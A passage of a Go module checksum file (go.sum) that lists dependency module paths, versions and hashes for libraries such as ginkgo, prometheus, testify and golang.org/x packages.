v0.0.0-20120707110453-a547fc61f48d/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw= github.com/nxadm/tail v1.4.4 h1:DQuhQpB1tVlglWS2hLQ5OV6B5r8aGxSrPc5Qo6uTN78= github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= github.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4= github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/onsi/ginkgo v0.0.0-20170829012221-11459a886d9c/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo v1.10.1/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo v1.11.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= github.com/onsi/ginkgo v1.14.2 h1:8mVmC9kjFFmA8H4pKMUhcblgifdkOIXPvbhN1T36q1M= github.com/onsi/ginkgo v1.14.2/go.mod h1:iSB4RoI2tjJc9BBv4NKIKWKya62Rps+oPG/Lv9klQyY= github.com/onsi/gomega v0.0.0-20170829124025-dcabb60a477c/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA= github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= github.com/onsi/gomega v1.7.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= github.com/onsi/gomega v1.10.3 h1:gph6h/qe9GSUw1NhH1gp+qb+h8rXD8Cy60Z32Qw3ELA= github.com/onsi/gomega v1.10.3/go.mod h1:V9xEwhxec5O8UDM77eCW8vLymOMltsqPVYWrpDsH8xc= github.com/opentracing/basictracer-go v1.0.0 h1:YyUAhaEfjoWXclZVJ9sGoNct7j4TVk7lZWlQw5UXuoo= github.com/opentracing/basictracer-go v1.0.0/go.mod h1:QfBfYuafItcjQuMwinw9GhYKwFXS9KnPs5lxoYwgW74= github.com/opentracing/opentracing-go v1.0.2/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= github.com/opentracing/opentracing-go v1.1.0 h1:pWlfV3Bxv7k65HYwkikxat0+s3pV4bsqf19k25Ur8rU= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c h1:Lgl0gzECD8GnQ5QCWA8o6BtfL6mDH5rQgM4/fX3avOs= github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pquerna/cachecontrol v0.0.0-20180517163645-1555304b9b35 h1:J9b7z+QKAmPf4YLrFg6oQUotqHQeUNWwkvo7jZp1GLU= github.com/pquerna/cachecontrol v0.0.0-20180517163645-1555304b9b35/go.mod h1:prYjPmNq4d1NPVmpShWobRqXY3q7Vp+80DqgxxUrUIA= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v1.0.0 h1:vrDKnkGzuGvhNAL56c7DBz29ZL+KxnoR0x7enabFceM= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 h1:S/YWwWx/RA8rT8tKFRuGUZhuA90OyIBpPCXkcbwU8DE= github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/common v0.4.1 h1:K0MGApIoQvMw27RTdJkPbr3JZ7DNbtxQNyi5STVM6Kw= github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.2 h1:6LJUbpNm42llc4HRCuvApCSWB/WfhuNo9K98Q9sNGfs= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a h1:9ZKAASQSHhDYGoxY8uLVpewe1GDZ2vu2Tr/vTdVAkFQ= github.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4= github.com/remyoudompheng/bigfft v0.0.0-20170806203942-52369c62f446/go.mod h1:uYEyJGbgTkfkS4+E/PavXkNJcbFIpEtjt2B0KDQ5+9M= github.com/sanity-io/litter v1.1.0 h1:BllcKWa3VbZmOZbDCoszYLk7zCsKHz5Beossi8SUcTc= github.com/sanity-io/litter v1.1.0/go.mod h1:CJ0VCw2q4qKU7LaQr3n7UOSHzgEMgcGco7N/SkZQPjw= github.com/sarslanhan/cronmask v0.0.0-20190709075623-766eca24d011 h1:S5j3KTsiGwmQSEJJBp0iIG87CDBCGCwbYLmVv8L/nuE= github.com/sarslanhan/cronmask v0.0.0-20190709075623-766eca24d011/go.mod h1:NmI1tg7wwsf1hF6G5EtyGCrtNKsH2RIdYYoJa7GsnP8= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529 h1:nn5Wsu0esKSJiIVhscUtVbo7ada43DJhG55ua/hjS5I= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/shirou/gopsutil v2.20.1+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= github.com/shirou/gopsutil v3.21.2+incompatible h1:U+YvJfjCh6MslYlIAXvPtzhW3YZEtc9uncueUNpD/0A= github.com/shirou/gopsutil v3.21.2+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= github.com/sirupsen/logrus v1.4.2 h1:SPIRibHv4MatM3XXNO2BJeFLZwZ2LvZgfQ5+UNI2im4= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= github.com/smartystreets/assertions v1.1.1/go.mod h1:tcbTF8ujkAEcZ8TElKY+i30BzYlVhC/LOxJk7iOWnoo= github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= github.com/sony/gobreaker v0.4.1 h1:oMnRNZXX5j85zso6xCPRNPtmAycat+WcoKbklScLDgQ= github.com/sony/gobreaker v0.4.1/go.mod h1:ZKptC7FHNvhBz7dN2LGjPVBz2sZJmc0/PkyDJOjmxWY= github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk= github.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/szuecs/rate-limit-buffer v0.7.1 h1:kpVLwDvpCTFQi8uhiXQrhAKWzNUaEKhArFdjb4GQ8F4= github.com/szuecs/rate-limit-buffer v0.7.1/go.mod h1:BxqrsmnHsCnWcvbtdcaDLEBmjNEvRFU5LQ8edoZ9B0M= github.com/szuecs/routegroup-client v0.17.7 h1:kwFU9/r4yiWnk+DKox367EO25JsKfdFdJMREduWWKgs= github.com/szuecs/routegroup-client v0.17.7/go.mod h1:lHgfovfWP6h6zQoWjVmhUWYrSa62yXstI3uCtgTdTuk= github.com/tidwall/gjson v1.7.4 h1:19cchw8FOxkG5mdLRkGf9jqIqEyqdZhPqW60XfyFxk8= github.com/tidwall/gjson v1.7.4/go.mod h1:5/xDoumyyDNerp2U36lyolv46b3uF/9Bu6OfyQ9GImk= github.com/tidwall/match v1.0.3 h1:FQUVvBImDutD8wJLN6c5eMzWtjgONK9MwIBCOrUJKeE= github.com/tidwall/match v1.0.3/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= github.com/tidwall/pretty v1.1.0 h1:K3hMW5epkdAVwibsQEfR/7Zj0Qgt4DxtNumTq/VloO8= github.com/tidwall/pretty v1.1.0/go.mod h1:XNkn88O1ChpSDQmQeStsy+sBenx6DDtFZJxhVysOjyk= github.com/tklauser/go-sysconf v0.3.5 h1:uu3Xl4nkLzQfXNsWn15rPc/HQCJKObbt1dKJeWp3vU4= github.com/tklauser/go-sysconf v0.3.5/go.mod h1:MkWzOF4RMCshBAMXuhXJs64Rte09mITnppBXY/rYEFI= github.com/tklauser/numcpus v0.2.2 h1:oyhllyrScuYI6g+h/zUvNXNp1wy7x8qQy3t/piefldA= github.com/tklauser/numcpus v0.2.2/go.mod h1:x3qojaO3uyYt0i56EW/VUYs7uBvdl2fkfZFu0T9wgjM= github.com/uber-go/atomic v1.4.0 h1:yOuPqEq4ovnhEjpHmfFwsqBXDYbQeT6Nb0bwD6XnD5o= github.com/uber-go/atomic v1.4.0/go.mod h1:/Ct5t2lcmbJ4OSe/waGBoaVvVqtO0bmtfVNex1PFV8g= github.com/uber/jaeger-client-go v2.16.0+incompatible h1:Q2Pp6v3QYiocMxomCaJuwQGFt7E53bPYqEgug/AoBtY= github.com/uber/jaeger-client-go v2.16.0+incompatible/go.mod h1:WVhlPFC8FDjOFMMWRy2pZqQJSXxYSwNYOkTr/Z6d3Kk= github.com/uber/jaeger-lib v2.0.0+incompatible h1:iMSCV0rmXEogjNWPh2D0xk9YVKvrtGoHJNe9ebLu/pw= github.com/uber/jaeger-lib v2.0.0+incompatible/go.mod h1:ComeNDZlWwrWnDv8aPp0Ba6+uUTzImX/AauajbLI56U= github.com/yookoala/gofast v0.6.0 h1:E5x2acfUD7GkzCf8bmIMwnV10VxDy5tUCHc5LGhluwc= github.com/yookoala/gofast v0.6.0/go.mod h1:OJU201Q6HCaE1cASckaTbMm3KB6e0cZxK0mgqfwOKvQ= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/gopher-lua v0.0.0-20200603152657-dc2b0ca8b37e h1:oIpIX9VKxSCFrfjsKpluGbNPBGq9iNnT9crH781j9wY= github.com/yuin/gopher-lua v0.0.0-20200603152657-dc2b0ca8b37e/go.mod h1:gqRgreBUhTSL0GeU64rtZ3Uq3wtjOa/TB2YfrtkCbVQ= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opentelemetry.io/otel v0.13.0 h1:2isEnyzjjJZq6r2EKMsFj4TxiQiexsM04AVhwbR/oBA= go.opentelemetry.io/otel v0.13.0/go.mod h1:dlSNewoRYikTkotEnxdmuBHgzT+k/idJSfDv/FxEnOY= go.uber.org/atomic v1.4.0 h1:cxzIVoETapQEqDhQu3QfnvXAV4AlzcvUCxkVUFw3+EU= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190211182817-74369b46fc67/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200220183623-bac4c82f6975/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 h1:psW17arqaxU48Z5kZ0CQnkZWQJsqcURM6tKiBApRjXI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190125153040-c74c464bbbf2/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190312203227-4b39c73a6495/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/net v0.0.0-20170114055629-f2499483f923/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191004110552-13f9640d40b9/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200528225125-3c3fba18258b/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20201006153459-a7d1128ccaa0/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210415231046-e915ea6b2b7d h1:BgJvlyh+UqCUaPlscHJ+PN8GcpfrFdr7NHjd1JL0+Gs= golang.org/x/net v0.0.0-20210415231046-e915ea6b2b7d/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45 h1:SVwTIAaPC2U/AvvLNZ2a7OVsmBpC8L5BlwK1whH3hm0= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20170830134202-bb24a47a89ea/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190204203706-41f3e6584952/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190209173611-3b5209105503/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190616124812-15dcb6c0061f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191022100944-742c48ecaeb7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200519105757-fe76b779f299/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210415045647-66c3f260301c h1:6L+uOeS3OQt/f4eFHXZcTxeZrGCuz+CLElgEBjbcTA4= golang.org/x/sys v0.0.0-20210415045647-66c3f260301c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/text v0.0.0-20160726164857-2910a502d2bf/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text 